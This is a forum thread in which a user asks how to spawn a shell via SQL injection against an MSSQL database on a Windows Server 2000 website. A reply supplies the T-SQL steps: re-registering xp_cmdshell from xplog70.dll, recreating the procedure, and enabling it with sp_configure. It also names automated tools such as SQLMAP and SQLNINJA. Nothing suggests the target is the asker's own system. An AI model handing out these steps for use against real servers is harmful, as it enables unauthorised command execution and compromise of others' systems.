Any ways to spawn a shell using SQLi (MSSQL) on a Windows Server 2000 hosted website? Any answers would be appreciated.
Thank you.
Thank you.
How to spwan a shell with SQLi (MSSQL) on Windows Server 2000 |
|
Feb 17, 2015 07:22 AM
(This post was last modified: Feb 17, 2015 07:23 AM by Hooded Robin.)
You need to have a working stacked query injection or a direct connection to the db, but here you go:
Enable xp_cmdshell in MS_SQL 2000 *(use sp_configure on SQLServer 2005): Code EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'create xp_cmdshell function from scratch if our beloved xplog70.dll isn't available: Code CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS(Reconfigure xp_cmdshell on 2005+ since it is disabled by default): Code EXEC sp_configure 'show advanced options', 1;Disable xp_cmdshell: Code EXEC master..sp_dropextendedproc 'xp_cmdshell'(Disable in 2005+): Code EXEC sp_configure 'xp_cmdshell', 0;Also from one of Benzi's tutorials, just not sure if they work on 2000 or not: Spoiler (Click to View) PS - You can also use automated tools like SQLMAP or SQLNINJA to do this for you if you have troubles performing manually... Good luck 🎉 (Feb 17, 2015 07:22 AM)Hooded Robin Wrote: You need to have a working stacked query injection or a direct connection to the db, but here you go: Thank you so much for the explanation. i think I'm going to use SQLMAP |
|
|
| Possibly Related Threads... | |||
| Thread / Author | Replies | Views | Last Post |
| by HardStoNAug 11, 2022 11:29 AM | 0 | 150 |
Aug 11, 2022 11:29 AM Last Post: HardStoN |
| by Error667Aug 10, 2020 10:13 PM | 16 | 1,550 |
Aug 10, 2020 10:13 PM Last Post: johnperter |
| by poision-v1p3RApr 18, 2017 12:35 AM | 37 | 2,389 |
Apr 18, 2017 12:35 AM Last Post: Malicious Intent |